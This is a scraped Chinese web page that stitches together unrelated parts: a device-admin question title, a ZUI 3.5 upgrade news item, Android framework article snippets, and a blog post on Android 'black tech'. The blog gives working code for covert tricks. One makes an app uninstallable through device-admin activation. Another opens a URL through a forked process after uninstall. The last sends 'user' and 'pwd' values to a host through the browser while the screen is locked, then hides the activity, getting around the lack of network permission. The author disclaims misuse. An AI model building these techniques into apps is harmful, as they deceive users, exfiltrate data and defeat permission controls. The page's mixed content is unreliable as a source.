安卓软件打开以后,华为激活设备管理器器激活界面里面,怎么自己添加想说的话

ZUK官网发布的基于安卓8.0的ZUI3.5稳定版优化点及系统安装流程
集微网消息,此前从ZUK官方粉丝群获取到的消息显示,基于安卓8.0的ZUI3.5将在春节前推送给消费者,后来由于ZUI3.5存在多个BUG,官方计划把推送时间放到春节后,这引发了一些人的不满,好在官方给力,终于赶在春节前把基于安卓8.0的ZUI3.5稳定版给推送了。
还没有收到推送的小伙伴,可以去小编提供的官方网站地址进行下载升级。
具体升级教程如下:
1. 下载升级卡刷包(ZIP格式),将压缩包命名为update.zip,放在【手机存储】根目录下;
2. 进入【系统更新】界面,点击【右上角的菜单(3个点)】,进入【recovery模式】或者关机后同时按着整个音量键加电源键进入recovery界面;
3. 进入【recovery模式】后,选择【中文语言】,然后选择【安装升级包】,确定后即可开始升级。
4. 等安装进度条走完,提示【系统升级成功】,重启后进入新系统。
ZUI3.5,为您带来安卓8.0的全新体验。本次我们在交互设计上尽可能地还原了安卓原生风格:重新分组的设置菜单、卡片式通知中心、简约的电话短信界面等;并在8.0新变化的基础上,新增了应用分身、全新U健康等Big C还有很多细节体验的优化。感谢始终陪伴着ZUI、积极献言献策的你们。ZUI牌奥利奥甜不甜,尝过才知道。
注意事项:
由于安卓版本兼容性问题,本次升级暂不支持微信指纹支付,请耐心等待后续系统更新。同时,个别应用可能在升级之后出现闪退或部分功能不可用的情况,请大家先到应用中心将该应用升级到最新版本。如果仍然有问题,请通过&我要反馈&告诉我们。
请确保手机没有Root,电量及存储空间充足。建议您在升级完成后再次重启系统。如果升级过程中遇到任何问题,请到官方论坛(https://club.lenovo.com.cn/phone)寻求支持。
升级过程中,手机会有升温;升级后首次使用,可能有短时响应慢或功耗提升的情况。这些都是正常状况,请不必担心。
特别提示:升级后手机重启需要输入开机密码,请务必提前确认您的开机密码可用,或将密码设为无!
ZUI 3.5升级要点
桌面和系统界面
全彩标题栏,给您前所未有的ZUI;
卡片式通知中心,内容更丰富、操作更便捷;
设置、电话和短信界面改版,菜单布局更贴近安卓体验;
新增应用分身,多个微信微博玩起来;
优化省电方案,解决后台应用顽固耗电问题;
通话和短信
强化骚扰拦截机制,加入黑名单的来电和短信不再提示;
基于安卓8.0优化安全管理机制;
加强对应用激活设备管理器的管理和限制;
新增流量关闭提醒和月流量超额断网倒计时;
全新改版,更好看、更好用;
首页增加快捷入口,一键开启运动模式;
新增健康日历,每月运动步数一目了然;
支持爬楼模式,自动记录爬楼数据;
支持自定义重复提醒方式,满足个性化提醒需要;
首页调整,便签卡片更简洁;
增加标题栏,并优化图片和文字编辑体验。
原文标题:ZUK给力!基于安卓8.0的ZUI3.5稳定版节前已推送
文章出处:【微信号:zengshouji,微信公众号:MCA手机联盟】欢迎添加关注!文章转载请注明出处。
关注电子发烧友微信
有趣有料的资讯及技术干货
下载发烧友APP
打造属于您的人脉电子圈
关注发烧友课堂
锁定最新课程活动及技术直播
发布评论请先
经过2个多月的跳票之后,Essential Phone终于上市发售。在异形全面屏、钛合金中框、陶瓷后....
由安卓之父安迪·鲁宾(AndyRubin)亲自操刀的EssentialPhone再次印证了理想和现实....
来自xda论坛的最新消息,Xposed的测试版已经可以在安卓Oreo(8.0/8.1)支持下使用了。....
近日,Sophos公布了2018年恶意代码流行预测分析报告,通过对2017年以来发生的安全威胁事件分....
安卓的脸部识别,大部分还存在于2D层面,通过前置摄像头读取你的脸部图片,再利用软件进行对比,所以当光....
Root Explorer,R.E管理器用户量巨大,装机必备!安卓最佳文件管理器,没有之一!RE管理....
本文主要介绍了yunos系统的概念、yunos系统的架构和它的平台优势。其次详细说明了yunos系统....
最近在一次问卷调查活动中,市场研究公司Creative Strategies问了1000多名安卓手机....
Android系统超级终端网络操作命令大全分享
大部分安卓用户认为,iPhone6/6S装安卓7.0/8.0会丧失流畅度。即使最新的iPhone8拥....
据媒体Benchlife报道,知名主控厂商群联电子已经研制出了第二代UFS2.1主控,并且已经通过了....
多年以来,安卓手机阵营支持者最喜欢的事就是和iPhone比硬件,很多功能在安卓手机上早就出现多年的功....
韩国公平交易委员会对高通发动了反垄断调查,判定其涉嫌在专利授权和基带芯片上形成垄断,要处以8.54亿....
安卓最近又出现了一个新漏洞,可以让攻击者在联网设备和无线接入点之间读取到无线通信协议,甚至还能将其修....
从最新的Kantar Worldpanel的研究数据可知,在八月份,iOS 在该机构监控的全球9大市....
智能手机制造商耗费了许多时间探索如何在手机上安装一个指纹传感器,但最终却被证实存在缺陷。明年我们在手....
现在智能手机操作系统基本上是安卓与苹果的iOS两分天下,安卓能占到80%以上的份额,由于iOS只苹果....
说到谷歌,你想到的肯定是搜索,可是你知道安卓系统也是人家的呐!仅仅靠一个安卓操作系统绝对不能满足谷歌....
9月21日10点,HTC宣布:HTC的手机业务将以11亿美元卖身给谷歌!你没有看错,那个曾经家喻户晓....
北京时间9月13日凌晨,苹果在在史蒂夫·乔布斯剧院举办了新品发布会,并带来了Phone 8、iPho....
供应链服务
版权所有 (C) 深圳华强聚丰电子科技有限公司
电信与信息服务业务经营许可证:粤B2-&nbsp&nbsp &
&nbsp&nbsp
&nbsp&nbsp &
&nbsp&nbsp网站地图 &nbsp&nbsp &
&nbsp&nbsp
在之前的Android应用程序安装过程浅析文章中分析了应用程序的安装的过程,当时只是使用该服务,并没有讲到该服务的启动过程,这里就来说说PackageManagerService的启动过程。启动过程我们知道安卓应用程序的安装最终都是通过应用程序管理服务PackageManagerService来管理安装的,系统在启动时就会启动该服务,我们来看看PackageManagerService的启动过程。系统进程Zygote创建,Zygote进程会调用SystemServer组件的m
在Android系统中,同一时刻只有一个Activity组件是处于激活状态的,因此,当ActivityManagerService服务激活了一个新的Activity组件时,它就需要通知WindowManagerService服务将该Activity组件的窗口显示出来,这会涉及到将焦点和屏幕等资源从前一个激活的Activity组件切换到后一个激活的Activity组件的过程,本文就详细分析这个过程。Activity窗口的切换操作是在新激活的Activity组件的启动过程进行的。
在Android系统中,Activity窗口的大小是由WindowManagerService服务来计算的。WindowManagerService服务会根据屏幕及其装饰区的大小来决定Activity窗口的大小。一个Activity窗口只有知道自己的大小之后,才能对它里面的UI元素进行测量、布局以及绘制。本文将详细分析WindowManagerService服务计算Activity窗口大小的过程。一般来说,Activity窗口的大小等于整个屏幕的大小,但是它并不占据着整块屏幕
在Android系统中,壁纸窗口和输入法窗口一样,都是一种特殊类型的窗口,而且它们都是喜欢和一个普通的Activity窗口缠绵在一起。大家可以充分地想象这样的一个3W场景:输入法窗口在上面,壁纸窗口在下面,Activity窗口夹在它们的中间。在前面一篇文章中,我们已经分析过输入法窗口是如何压在Activity窗口上面的了。在这篇文章中,我们就将继续分析壁纸窗口是如何贴在Activity窗口下面的。一个Activity窗口如果需要显示壁纸,那么它必须满足以下两个条件:1.背景是
在前一文中,我们分析了Activity组件的切换过程。从这个过程可以知道,所有参与切换操作的窗口都会被设置切换动画。事实上,一个窗口在打开(关闭)的过程中,除了可能会设置切换动画之外,它本身也可能会设置有进入(退出)动画。再进一步地,如果一个窗口是附加在另外一个窗口之上的,那么被附加窗口所设置的动画也会同时传递给该窗口。本文就详细分析WindowManagerService服务显示窗口动画的原理。在Android系统中,窗口动画的本质就是对原始窗口施加一个变换(Transfo
在Android系统中,Activity组件在启动之后,并且在它的窗口显示出来之前,可以显示一个启动窗口。这个启动窗口可以看作是Activity组件的预览窗口,是由WindowManagerService服务统一管理的,即由WindowManagerService服务负责启动和结束。在本文中,我们就详细分析WindowManagerService服务启动和结束Activity组件的启动窗口的过程。Activity组件的启动窗口是由ActivityManagerService服
在Android系统中,输入法窗口是一种特殊类型的窗口,它总是位于需要使用输入法的窗口的上面。也就是说,一旦WindowManagerService服务检测到焦点窗口需要使用输入法,那么它就会调整输入法窗口在窗口堆栈中的位置,使得输入法窗口位于在焦点窗口的上面,这样用户可以通过输入法窗口来录入字母或者文字。本文就将详细分析WindowManagerService服务是如何管理系统中的输入法窗口的。在Android系统中,除了输入法窗口之外,还有一种窗口称为输入法对话框,它们总
我们知道,在Android系统中,Activity是以堆栈的形式组织在ActivityManagerService服务中的。与Activity类似,Android系统中的窗口也是以堆栈的形式组织在WindowManagerService服务中的,其中,Z轴位置较低的窗口位于Z轴位置较高的窗口的下面。在本文中,我们就详细分析WindowManagerService服务是如何以堆栈的形式来组织窗口的。从前面Android应用程序启动过程源代码分析一文可以知道,应用程序进程中的每一
关于AndroidDeviceAdministratioin介绍可参见文档docs/guide/topics/admin/device-admin.html小节。本文通过示例演示AndroidDevicePolicy管理的实现。1.示例基本操作图上图是本示例的主界面,通过应用程序来实现设备管理,本示例实现密码设置管理。1.1通过点击“启动设备管理器”按钮来激活设备管理应用程序用通知设备管理启用,用户点击激活,应用程序具备设备管理能力。1.2通过点击“设置密码规则”按钮来设置锁
Android基础入门教程——10.7WindowManager(窗口管理服务)标签(空格分隔):Android基础入门教程本节引言:本节给大家带来的Android给我们提供的系统服务中的——WindowManager(窗口管理服务),它是显示View的最底层,Toast,Activity,Dialog的底层都用到了这个WindowManager,他是全局的!该类的核心无非:调用addView,removeView,updateViewLayout这几个方法来显示View以及
Android基础入门教程——10.7WindowManager(窗口管理服务)标签(空格分隔):Android基础入门教程本节引言:本节给大家带来的Android给我们提供的系统服务中的——WindowManager(窗口管理服务),它是显示View的最底层,Toast,Activity,Dialog的底层都用到了这个WindowManager,他是全局的!该类的核心无非:调用addView,removeView,updateViewLayout这几个方法来显示View以及
-10.23linux任务计划cron-10.24chkconfig工具-10.25systemd管理服务-10.26unit介绍-10.27target介绍-扩展1.anacronhttp://blog.csdn.net/strikers1982/article/details/.xinetd服(默认机器没有安装这个服务,需要yuminstallxinetd安装)http://blog.sina.com.cn/s/blog_465bbe6b010000vi.
ubuntudeepin使用chkconfigsysv-rc-conf命令来管理服务添加开机启动sudochkconfigcommandnotfound:chkconfig//chkconfig已弃用建议使用sysv-rc-conf安装sysv-rc-confsudoapt-getinstallsysv-rc-conf直接加入启动程序,例如把/etc/init.d/nginx加入到系统自动启动列表中:sudosysv-rc-confnginxon//开启sudosysv-rc
最有用的容器服务可能就是事务管理服务,当应用出现失败或异常时,它保证了数据库的完整性。最常见的事务是定义在sessionbean的方法上,方法中所有的数据库操作只有在方法正常退出时才会提交,如果方法抛出未捕获的异常,事务管理将回滚所有的变更。@TransactionAttribute注释用作定义一个需要事务的方法。它可以有以下参数:1.REQUIRED:方法在一个事务中执行,如果调用的方法已经在一个事务中,则使用该事务,否则将创建一个新的事务。2.MANDATORY:如果运行
通过前面几篇文章的学习,我们知道了在Android系统中,无论是普通的Activity窗口,还是特殊的输入法窗口和壁纸窗口,它们都是被WindowManagerService服务组织在一个窗口堆栈中的,其中,Z轴位置较大的窗口排列在Z轴位置较小的窗口的上面。有了这个窗口堆栈之后,WindowManagerService服务就可以按照一定的规则计算每一个窗口的Z轴位置了,本文就详细分析这个计算过程。基于窗口堆栈来计算窗口的Z轴位置是比较有意思的。按照一般的理解,应该是先计算好窗
你可能还喜欢
你可能感兴趣
阿里云教程中心为您免费提供信息,所有相关内容均不代表阿里云的意见!投稿删除文章请联系邮箱:zixun-group@service.aliyun.com,工作人员会在五个工作日内答复
售前咨询热线
服务与支持
账号与支持
关注阿里云
International干大事不择手段干大事不择手段不再重来百家号“我在发抖么?你开什么玩笑。我只是在跳愉快的尬舞。暗影是不会向邪恶势力低头的。 万岁~(≧▽≦)/~!!”– 来自暗世界android工程师前言:本篇是本系列的最后一个篇章。其实这些活儿也不全是在干坏事用。我们的重点不应该放在那某个技术点上。应该从中举一反三的思考。在好的一方面把学到的技术落到实处。比如往下面会讲到的往桌面添加快捷方式,你可以选择结合时下最火的插件化技术搭配添加快捷方式,实现一个无需安装app就完整的拥有启动图标和应用生命周期的附属app。用户喜欢的情况下,这不挺好的吗?毕竟也是一把双刃剑。这个世界上手机有三大系统,苹果、 安卓、 中国安卓 。本篇强烈呼吁大家不要去做哪些违反用户体验的黑科技功能,研究研究玩玩就好了啦。全当增长技术,在真实的项目开发中尽量能不用就不要用得好。道理大家都懂的。目录那些年Android黑科技①:只要活着,就有希望android应用内执行shell双进程保活aidl版双进程保活jni版保活JobService版那些年Android黑科技②:欺骗的艺术hook技术欺骗系统之偷梁换柱那些年Android黑科技③:干大事不择手段应用卸载反馈Home键监听桌面添加快捷方式无法卸载app(DevicePolicManager)无网络权限偷偷上传数据应用卸载反馈早在国内某app上有看到一旦卸载该app就立马弹出一个网页来让我填写为什么要卸载它。从产品的角度来说,这无疑是非常好的反馈设计。但是这件事情对手机和用户来说并不好事。实现上技术上会不断的轮训手机的目录。原理剖析:我们知道当apk正常安装在手机上时会写入到/data/data/包名目录下。被卸载后系统会删除掉。所以借助NDK开发fork出来的C语言写的的子进程代码,在应用被卸载后不会被销毁的特性。做进程内不断轮训/data/data/包名是否存在。当apk被卸载后如果你轮训的代码是java写的。他会伴随虚拟机一起销毁。但是由于是用C来做轮训,利用了Linux子进程和java虚拟机不在一个进程中的特性就不怕被杀,这点和第一篇我们讲到的双进程守护有异曲同工之妙。但是android 5.0谷歌还是干掉了这件事,所以请君放心。哈哈下面是C的实现部分。Java_com_charon_uninstallfeedback_MainActivity_initUninstallFeedback(JNIEnv* env, jobject thiz, jstring packageDir, jint sdkVersion) {char * pd = Jstring2CStr(env, packageDir);//fork子进程,以执行轮询任务pid_t pid = fork();if (pid = 17) {// Android4.2系统之后支持多用户操作,所以得指定用户execlp(&am&, &am&, &start&, &--user&, &0&, &-a&,&android.intent.action.VIEW&, &-d&,&http://shouji.360.cn/web/uninstall/uninstall.html&,(char*) NULL);} else {// Android4.2以前的版本无需指定用户execlp(&am&, &am&, &start&, &-a&,&android.intent.action.VIEW&, &-d&,&http://shouji.360.cn/web/uninstall/uninstall.html&,(char*) NULL);}check = 0;} else {}sleep(1);}}}java层调用部分public class MainActivity extends Activity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);String packageDir = &/data/data/& + getPackageName();initUninstallFeedback(packageDir, Build.VERSION.SDK_INT);}private native void initUninstallFeedback(String packagePath, int sdkVersion);static {System.loadLibrary(&uninstall_feedback&);}}细节代码请参考Githubhttps://github.com/CharonChui/UninstallFeedbackHome键监听一般在开发中,我们无法直接在活动中收到用户点击Home返回这样的操作回调。但多数情况下,我们开发的应用是需要感知用户离开的状态的。这里我们可以利用广播来做这件事情。有这样一个动态广播来做监听。android.intent.action.CLOSE_SYSTEM_DIALOGS我们继承一个广播类,在里面可以收到用户按下Home键和长按Home(或任务键,取决于手机的设计)在activity里注册一下这个广播非常简单的就实现了。下面是展示效果,可以看到日志上的结果,我们点击Home按键时收到了广播。GitHub地址:https://github.com/BolexLiu/AndroidHomeKeyListen桌面添加快捷方式不知道大家有没有被这种流氓软件袭击过,你打开过他一次,后面就泪流满面的给你装了满满的一屏幕其他乱七八糟的一堆快捷方式。注意可能会误认为被偷偷安装了其他App,实际上他只是一个带图标的Intent在你的桌面上,但不排除root后的机器安装app是真的,但我们今天这里只讲快捷方式。快捷方式有什么用?1.可以给用户一个常用功能的快捷入口(推荐)2.搭配插件化技术实现模拟安装后的app体验(推荐)3.做黑产(黑色产业链的东西我不想说了,只需要记得咱们是有原则的开发者,坚决抵制做垃圾App。即使别人给钱也不做。就这么任性 (ˇ^ˇ〉)原理解析:我们已经把AndroidManifest写烂了,一眼看过去就知道这个标签的作用。没错,我们再熟悉不过了,一般我们理解成将作为App的第一个被启动的Activity声明。实际上我们知道Android的桌面(launcher ,一般做rom层的同学接触比较多)上点击任意一个app都是通过Intent启动的。神曾经说过,不懂的地方。read the fucking source code,那么我们来趴一趴launcher的源码,它是如何接收到我们要添加的快捷方式的。(别害怕,源码没有想象中那么难度,跳着看。屏蔽我们不关注的部分。)拿到一个Android应用层的项目第一件事情干嘛?看配置文件呗。来我们瞅一眼launcher的AndroidManifest。注意我们发现了两个receiver标签,从上面的注释可以发现接收其他应用安装的快捷方式意图。这里就表明了launcher 是通过广播来添加快捷方式的。我们接着翻源码,看他是怎么处理这条广播的。根据receiver里的name标签我们找到InstallShortcutReceiver.java这个类。首先我们发现他继承了BroadcastReceiver ,很明显就是一个广播接收者,我们直接看onReceive方法里如何处理的。//代码细节部分省略太长了,不方便贴。可以自己去下载源码看。public class InstallShortcutReceiver extends BroadcastReceiver {//做了很多处理,比如寻找将接受到的快捷方式放在屏幕的哪个位置、重复的图标提示等public void onReceive(Context context, Intent data) { //判断这条广播的合法性if (!ACTION_INSTALL_SHORTCUT.equals(data.getAction())) { } ·····略} //最终我们发现了这个方法,将快捷方式添加到桌面并存储到数据库 private static boolean installShortcut(Context context, Intent data, ...参数省略) {·····略 if (intent.getAction() == null) { intent.setAction(Intent.ACTION_VIEW); } else if (intent.getAction().equals(Intent.ACTION_MAIN) && intent.getCategories() != null && intent.getCategories().contains(Intent.CATEGORY_LAUNCHER)) { intent.addFlags( Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED); }····略}····略}重点看下面这几行,顺藤摸瓜得知这个Intent来自来自别的app或系统发过来的广播。下面黄横线的部分已经解释了,我们自己平时开发的app配置的主启动项Activitiy intent-filter在哪里被用到了。这里接收到后的intent将加到桌面并存储到数据库中。由此算是明白了系统到底是怎么做的。实现添加快捷方式:好,既然已经知道原理了,我们现在就来实现一把,怎么添加一个任意的图标到桌面。首先我们需要配置权限声明第二步捏造一个添加快捷方式的广播,具体请看下面的代码。注意里面有两个Intent,其中一个是广播的,一个是我们自己下次启动快捷方式时要用的,启动时可以携带Intent参数。(能做什么,知道了吧?哈哈)public static void addShortcut(Activity cx, String name) { // TODO:
创建快捷方式的intent广播 Intent shortcut = new Intent(&com.android.launcher.action.INSTALL_SHORTCUT&); // TODO:
添加快捷名称 shortcut.putExtra(Intent.EXTRA_SHORTCUT_NAME, name); // 快捷图标是允许重复 shortcut.putExtra(&duplicate&, false); // 快捷图标 Intent.ShortcutIconResource iconRes = Intent.ShortcutIconResource.fromContext(cx, R.mipmap.ic_launcher); shortcut.putExtra(Intent.EXTRA_SHORTCUT_ICON_RESOURCE, iconRes); // TODO:
我们下次启动要用的Intent信息 Intent carryIntent = new Intent(Intent.ACTION_MAIN); carryIntent.putExtra(&name&, name); carryIntent.setClassName(cx.getPackageName(),cx.getClass().getName()); carryIntent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); //添加携带的Intent shortcut.putExtra(Intent.EXTRA_SHORTCUT_INTENT, carryIntent); // TODO:
发送广播 cx.sendBroadcast(shortcut);}下面们调用一下看看。这里我添加了四个快捷方式,分别是abcd、abc、ab、a,然后我们返回桌面看一眼。他们都是可以启动的。github地址:https://github.com/BolexLiu/AddShortcut无法卸载app(DevicePolicManager)DevicePolicManager 可以做什么?1.恢复出厂设置2.修改屏幕解锁密码3.修改屏幕密码规则长度和字符4.监视屏幕解锁次数5.锁屏幕6.设置锁屏密码有效期7.设置应用数据加密8.禁止相机服务,所有app将无法使用相机首先我想,如果你是一个Android重度体验用户,在Rom支持一键锁屏之前,你也许装过一种叫快捷锁屏、一键锁屏之类的替代实体键锁屏的应用。其中导致的问题就是当我们不需要用它的时候却发现无法被卸载。原理解析:从功能上来看,本身该项服务是用来控制设备管理,它是Android用来提供对系统进行管理的。所以一但获取到权限,不知道Android出于什么考虑,系统是不允许将其卸载掉的。我们只是在这里钻了空子。实现步骤:继承DeviceAdminReceiver类,里面的可以不要做任何逻辑处理。public class MyDeviceAdminReceiver extends DeviceAdminReceiver {}注册一下,description可以写一下你给用户看的描述。调用系统激活服务// 激活设备超级管理员public void activation() { Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN); // 初始化要激活的组件 ComponentName mDeviceAdminSample = new ComponentName(MainActivity.this, MyDeviceAdminReceiver.class); intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mDeviceAdminSample); intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, &激活可以防止随意卸载应用&); startActivity(intent);}我们来看下运行的效果。激活以前是可以被卸载的。激活以后无法被卸载,连删除按钮都没有了。就算你拿其他安全工具或系统的卸载也不能卸载哦。但是我们可以在设备管理器中可以取消激活就恢复了。这里我们是正常的方式来激活,不能排除root后的设备,当app拿到root权限后将自己提权自动激活,或者将自身写入到系统app区域,达到无法卸载的目的。所以我们常说root后的设备是不安全的也就在这里能说明问题。github地址:https://github.com/BolexLiu/SuPerApp无网络权限偷偷上传数据这是一种超流氓的方式,目前市面上是存在这种app的。普通用户不太注意的话一般发现不了。另一个对立面说用户把app的访问网络权限禁用了如何告诉服务器消息呢?原理解析:虽然应用没有权限,或者我们之前有权限被用户屏蔽了。但是我们可以借鸡下蛋,调用系统浏览器带上我们要访问的参数。实际在服务端收到的时候就是一个get请求可以解析后面拼接出的参数。比如: http://192.168.0.2/send?user=1&pwd=2 这样就可以把user和pwd提交上去。当然这一切还不能被用户发现,所以很变态的判断用户锁屏后就打开浏览器发送消息,用户一旦解锁就回到桌面上,假装一切都没有发生过。实现代码:本来我不准备把代码贴出来的,但想了一下又有何妨。即便我不贴出来你也能找到,也能跟着思路写出来。但是千万千万不要给用户做这种东西。拜托了各位。Timer timer = new Timer(); final KeyguardManager km = (KeyguardManager) getSystemService(KEYGUARD_SERVICE); TimerTask task = new TimerTask() { @Override public void run() { // TODO:
如果用户锁屏状态下,就打开网页通过get方式偷偷传输数据 if (km.inKeyguardRestrictedInputMode()) { Intent intent = new Intent(); intent.setAction(Intent.ACTION_VIEW); intent.addCategory(Intent.CATEGORY_BROWSABLE); intent.setData(Uri .parse(&http://192.168.0.2/send?user=1&pwd=2&)); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); startActivity(intent); }else{ // TODO:
判断如果在桌面就什么也不做 ,如果不在桌面就返回 Intent intent = new Intent(); intent.setAction(&android.intent.action.MAIN&); intent.addCategory(&android.intent.category.HOME&); intent.addCategory(Intent.CATEGORY_DEFAULT); intent.addCategory(&android.intent.category.MONKEY&); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); startActivity(intent); } } }; timer.schedule(task, );谢幕本系列到这里算是完结了。这个系列的技术大多数来自互联网上。我只是感兴趣做了一些自己的研究。做这些事情告诉我一个道理,论阅读源码的重要性。我也不是什么大神,只是普通的一个程序员。别再叫我大佬了。虽然我在过往的文风中老是大佬大佬的。但那只是编的故事。哈哈我们这代人就像红橙Darren说的给了我们年轻人太多。这一路上我总是在特殊的时间点是上遇到贵人,在他们的帮助下少走不少弯路。真的很感谢这一切的发生。还有在看文章的你。真的,你们每一次点赞、喜欢、评论和关注都成为了我继续努力的动力 ,以前我只是写给自己看做一下笔记,当我发现越来越多的人在看我写的东西的时候,我想我就必须对此负责,而不是随便搞搞。特别感谢公众号码个蛋BaseRecyclerViewAdapterHelper的作者陈宇明。最近两天交流之中感受颇多。在这里表示谢谢他的指点。老哥,稳!本文仅代表作者观点,不代表百度立场。系作者授权百家号发表,未经许可不得转载。不再重来百家号最近更新:简介: *以无法为有法,以无限为有限*作者最新文章相关文章}

我要回帖

更多关于 激活设备管理器会怎样 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信